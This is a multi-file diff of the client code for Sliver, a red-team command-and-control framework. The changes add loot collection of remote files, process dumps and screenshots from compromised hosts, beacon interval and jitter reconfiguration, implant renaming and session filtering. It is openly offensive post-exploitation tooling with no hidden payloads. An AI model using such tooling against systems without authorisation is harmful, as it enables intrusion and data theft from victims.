if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
download, err := PerformDownload(remotePath, fileName, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
}
+23 -3
View File
@@ -23,6 +23,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
implantMapper := prelude.InitImplantMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
if !session.IsDead {
err = implantMapper.AddImplant(session, nil)
if err != nil {
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
}
}
}
con.PrintInfof("Done !\n")
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get beacon list: %s", err)
return
}
if len(beacons.Beacons) > 0 {
con.PrintInfof("Adding existing beacons ...\n")
for _, beacon := range beacons.Beacons {
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
}
}
con.PrintInfof("Done !\n")
+2 -2
View File
@@ -25,8 +25,8 @@ import (
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
if prelude.ImplantMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
+31 -3
View File
@@ -24,7 +24,9 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
}
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+4
View File
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
+4
View File
@@ -0,0 +1,4 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
+96
View File
@@ -0,0 +1,96 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
@@ -1,8 +1,8 @@
package sessions
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,18 +21,16 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
}
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
}
+38 -10
View File
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
}
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+1 -1
View File
@@ -61,7 +61,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
}
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+2
View File
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+1 -1
View File
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, true, con)
err = kill.KillSession(session, ctx, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
+100 -29
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -31,6 +32,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -50,12 +52,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
return
}
@@ -64,12 +66,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
}
return
@@ -80,7 +82,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -96,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, con)
PrintSessions(sessionsMap, filter, filterRegex, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -109,20 +122,39 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Message",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -142,17 +174,56 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
con.Printf("%s\n", tw.Render())
+48
View File
@@ -19,6 +19,8 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
if !overflow || con.Settings.AlwaysOverflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
width, height, err := term.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+6 -2
View File
@@ -68,9 +68,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +81,8 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
defer tunnel.Close()
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+21 -3
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
@@ -358,6 +360,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
filesystem.PrintLs(ls, flags, "", con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
err := proto.Unmarshal(task.Response, mkdir)
@@ -446,6 +456,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
+1 -1
View File
@@ -70,7 +70,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
}
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == id {
if strings.HasPrefix(session.ID, id) {
return session, nil, nil
}
}
+16 -6
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,7 +108,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
@@ -195,8 +194,8 @@ func (con *SliverConsoleClient) EventLoop() {
